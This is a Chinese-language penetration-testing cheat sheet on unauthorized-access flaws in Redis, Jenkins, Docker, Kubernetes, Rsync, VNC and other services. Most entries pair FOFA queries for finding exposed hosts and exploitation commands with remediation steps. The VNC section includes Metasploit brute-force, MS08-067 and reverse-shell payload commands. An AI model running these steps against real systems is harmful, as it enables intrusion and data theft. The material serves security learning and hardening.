redis未授权访问
在docker中启动vulhub对应的靶场
目录:cd /vulhub-master/redis/4-unacc

在kali上安装redis程序进行服务连接
安装redis
apt-get install redis
redis链接
redis-cli -h IP -p 端口
输入info可以查看信息

接下来我们使用redis-rogue-server来获取命令执行环境
https://github.com/n0b0dyCN/redis-rogue-server
python3 redis-rogue-server.py --rhost 目标IP --lhost 本机IP

MongoDB未授权访问
在启动MongoDB时没有添加参数,导致可以使用默认空口令进行登录
修复和防御:
1.在启动时为MongoDB添加--auth参数,为MongoDB添加用户
2.启动时加入参数 --bind_ip 127.0.0.1 或在 /etc/mongodb.conf 文件中添加以下内容:
bind_ip = 127.0.0.1
Memcached未授权访问
1.由于 Memcached 的安全设计缺陷,没有权限控制模块,所以对公网开放的 Memcache 服务很容易被攻击者扫描发现,攻击者无需认证,通过命令交互可直接读取 Memcached 中的敏感信息。
2.复现
下载Memcached程序并执行命令启动Memcached漏洞环境
使用Telnet程序探测目标端口
使用nmap脚本进行漏洞扫描
漏洞修复:
-
设置Memcached只允许本地访问。
-
禁止外网访问Memcached 11211端口。
-
配置访问控制策略。
-
最小化权限运行。
-
修改默认端口等。
Zookeeper未授权访问
Zookeeper 安装部署之后默认情况下不需要任何身份验证,攻击者可以远程利用 Zookeeper,通过服务器收集敏感信息或者在 Zookeeper 内进行破坏。攻击者能够执行所有只允许由管理员运行的命令。
port="2181" && "Zookeeper" && country="US"
kali中使用命令进行漏洞测试
echo envi | nc ip 端⼝
使用Zookeeper可视化管理工具进行连接

修复方法
1.限制网络访问:通过防火墙或网络策略,仅允许信任的 IP 地址(如集群内部节点)访问 2181 端口,避免直接暴露在公网。
2.启用身份认证:
在 Zookeeper 配置文件(zoo.cfg)中启用 SASL 认证,通过jaas.conf配置用户名密码验证;
结合 Kerberos 实现更严格的身份校验(适用于分布式集群环境)。
3.权限控制:通过 Zookeeper 的 ACL(Access Control List)机制,为节点设置细粒度权限(如read、write、admin等),限制非授权用户的操作范围。
4.定期审计:启用 Zookeeper 的审计日志,记录所有操作行为,便于及时发现异常访问。
Jenkins未授权访问
port="8080" && app="JENKINS" && title=="Dashboard [Jenkins]"
在搜索到的网站中,选择系统管理,脚本命令行
运行命令
println "whoami" .execute().text

漏洞修复
1.升级版本
2.添加认知,加强密码强度
- 禁止把Jenkins直接暴露在公网
Jupyter NoteBook未授权访问
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令,默认端口:8888。
"Jupyter Notebook" && port="8888" && "terminals" //fofa
cd /vulhub/jupyter/notebook-rce
docker-compose up -d //vulhub靶场
如果存在未授权点击连接会直接跳转到web页面不需要输入密码即可看到jupyter界面

点击图示的位置即可新建一个终端,可以执行命令

修复方法:
1.开启身份验证,防止未经授权的用户进行访问
2.访问控制策略,限制IP访问,只允许固定IP访问
Elasticsearch未授权访问
ElasticSearch是基于Lucene、由Java开发的流行企业级分布式全文搜索引擎,遵循Apache许可开源,提供RESTful web接口,其增删改查操作均通过http接口完成。由于授权模块需付费,免费开源的ElasticSearch可能存在未授权访问漏洞,攻击者通常会请求一个9200或者93000端口的服务器来获得所有权限并对数据任意操作,进而导致业务系统面临敏感数据泄露、数据丢失或破坏,甚至遭受勒索等风险。
"Elasticsearch" && port="9200"
存在未授权可直接访问到页面,不需要登录

漏洞测试
拼接/_nodes可以查看节点信息

修复方法:
1.限制IP访问或者固定IP
- 在 config/elasticsearch.yml 中为9200端口设置认证等
Kibana未授权访问
Kibana如果允许外网访问且没有做安全登录认证,就会被外部任意访问,查看所有数据,造成数据泄露。在默认配置下,Kibana就可以访问Elasticsearch中的所有数据。
"kibana" && port="5601"
直接访问Kibana的页面且无需账号密码可以登陆进入登录界面

修复方法:
1.升级到最新版
2.在 Kibana 所在的服务器上安装 Nginx 服务,利用 Nginx 的转发指令实现(访问页面时)需要输入账号密码才可以访问。
3.如果正常业务中 kibana 服务需要被其他服务器来访问,可以通过 iptables 策略,仅允许指定的 IP 来访问服务。
Docker Remote API未授权访问
Docker Remote API配置不当可导致未授权访问,被攻击者恶意利用。攻击者无需认证即可访问到Docker数据,可能导致敏感信息泄露,黑客也可以删除Docker上的数据,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
fofa语法
port="2375" && "docker"
直接访问并拼接
/version 查看版本
/info 查看信息

使用 -H 参数连接目标主机的 Docker,使用 version命令查询目标版本
漏洞修复:
- 端口访问控制
对2375端口做网络访问控制,如设置iptables策略仅允许指定的IP来访问Docker接口。
- 使用TLS认证
Kubernetes Api Server未授权访问
Kubernetes正常启动后开两个默认端口(8080、6443),均提供Api Server服务,分别可通过Web访问和kubectl调用。若运维未合理配置验证与权限,攻击者可借此获取容器权限。
port="8080" && app="Kubernetes"
在打开的网页中直接访问 8080 端口会返回可用的 API 列表。
拼接version可以查看版本

3.修复方法:
-
进行授权认证
-
使用Service Account令牌
-
配置防火墙策略
Hadoop未授权访问
Hadoop是Apache开发的分布式系统基础架构,若服务器开放其HDFS的50070等默认端口,黑客可通过命令行操作目录数据(删除、下载、浏览、执行命令等),危害极大。
port="8088" && app="Hadoop"
打开页面可以直接访问不经过用户密码验证

漏洞修复:
1.如没有必要可以关闭web管理页面
2.开启身份验证,防止未经授权用户登录
3.设置"安全组"访问控制策略,将 Hadoop 默认开放的多个端口对公网全部禁止或限制可信任的 IP 地址才能访问包括 50070 以及 WebUI 等相关端口。
ActiveMQ未授权访问
默认情况下,ActiveMQ服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
body="ActiveMQ" && port="8161"
访问admin目录,默认使用admin/admin即可登录
漏洞修复:
1.可以修改其账号密码
RabbitMQ未授权访问
port="15672"
直接访问页面输入默认的账号密码即可,默认账号密码为guest
修复方法:
1.修改密码为强密码,删掉默认的guest用户
2.只允许内网访问,不对外网访问
Springboot Actuator未授权访问
在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。
原生断点有:
/dump - 显示线程转储(包括堆栈跟踪)
/autoconfig - 显示自动配置报告
/configprops - 显示配置属性
/trace - 显示最后几条HTTP消息(可能包含会话标识符)
/logfile - 输出日志文件的内容
/shutdown - 关闭应用程序
/info - 显示应用信息
/metrics - 显示当前应用的'指标'信息
/health - 显示应用程序的健康指标
/beans - 显示Spring Beans的完整列表
/mappings - 显示所有MVC控制器映射
/env - 提供对配置环境的访问
/restart - 重新启动应用程序
icon_hash="116323821"
- 当 web 应用程序出现 4xx、5xx 错误时显示类似以下页面就能确定当前 web 应用是使用了 springboot 框架,可以拼接/env,/trace来查看基本的属性,或者http跟踪信息

3.修复方法
1.禁止/env拼接
2.禁止对外开放
3.升级
FTP未授权访问
如果服务器开启了允许匿名访问,则可以不需要登录直接访问到服务器上的相关内容
ftp://ip:port/
JBoss未授权访问
title="Welcome to JBoss" && icon_hash="-656811182"
拼接 jmx-console/即可不需要登录直接访问

修复方法:
-
jboss.deployment部署shell
-
进行JMX Console 安全配置。
Ldap未授权访问
port="389"
通过Ldapadmin可视化工具做连接验证

修复方法
-
修改ldap的acl,不允许匿名访问。
-
根据业务设置ldap访问白名单或黑名单
Rsync未授权访问
由于配置不当,导致任何人可未授权访问rsync,上传本地文件,下载服务器文件。Rsync 默认允许匿名访问,如果在配置文件中没有相关的用户认证以及文件授权,就会触发隐患。
(port="873") && (is_honeypot=false && is_fraud=false)
cd vulhub/rsync/common
docker-compose up -d
可使用Nmap扫描该端口是否开启服务

可以访问src目录
rsync rsync://IP:873/src/

下载文件

利用定时任务反弹shell

等待17分钟即可反弹到shell
VNC未授权访问
(port="5900") && (is_honeypot=false && is_fraud=false)
使用MSF中的模块进行检测和漏洞利用
# VNC未授权检测
msf6 > use auxiliary/scanner/vnc/vnc_none_auth
msf6 auxiliary(scanner/vnc/vnc_none_auth) > show options
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set rhosts 172.16.1.1-254
msf6 auxiliary(scanner/vnc/vnc_none_auth) > set threads 100
msf6 auxiliary(scanner/vnc/vnc_none_auth) > run
# VNC密码爆破
msf6 > use auxiliary/scanner/vnc/vnc_login
msf6 auxiliary(scanner/vnc/vnc_login) > set rhosts 172.16.1.200
msf6 auxiliary(scanner/vnc/vnc_login) > set blank_passwords true //弱密码爆
破
msf6 auxiliary(scanner/vnc/vnc_login) > run
# 加载攻击模块
msf6 exploit(windows/smb/ms08_067_netapi) > use exploit/windows/smb/ms08_0
67_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterprete
r/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 172.16.1.200
msf6 exploit(windows/smb/ms08_067_netapi) > set lhost 172.16.1.10
msf6 exploit(windows/smb/ms08_067_netapi) > set target 34
msf6 exploit(windows/smb/ms08_067_netapi) > exploit
获取会话后,直接run vnc可控制远程虚拟机
# 直接控制远程机器
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/vncinject/reverse_tcp
msf6 exploit(multi/handler) > set lhost 172.16.1.200
msf6 exploit(multi/handler) > set lport 4466
msf6 exploit(multi/handler) > exploit
3.vnc连接
vncviewer ipaddress
Dubbo未授权访问
(app="APACHE-dubbo") && (is_honeypot=false && is_fraud=false)
使用Telnet直接连接进行测试
telnet IP port

防御手段
配置dubbo认证
设置防火墙策略
NSF共享目录未授权
"nfs"
执行命令进行漏洞复现
#安装nfs客户端
apt install nfs-common
#查看nfs服务器上的共享⽬录
showmount -e 192.168.126.130
#挂载相应共享⽬录到本地
mount -t nfs 192.168.126.130:/grdata /mnt
#卸载⽬录
umount /mnt
漏洞修复
禁止外部访问对应的端口
设置/etc/exports,对访问进行控制
Druid未授权访问
title="Druid Stat Index"
直接访问

漏洞修复
配置访问账号和密码
禁止外网访问
CouchDB未授权访问
(port="5984") && (is_honeypot=false && is_fraud=false)
curl连接
